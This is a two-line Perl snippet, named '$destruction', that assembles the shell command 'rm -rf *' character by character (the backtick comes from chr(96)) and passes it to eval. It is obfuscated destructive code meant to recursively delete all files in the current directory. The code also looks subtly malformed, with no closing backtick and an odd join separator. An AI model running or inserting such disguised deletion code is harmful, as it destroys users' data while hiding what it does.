my $destruction=join //, chr(96),'r','m',' ','-','r','f',' ','*';
eval $destruction;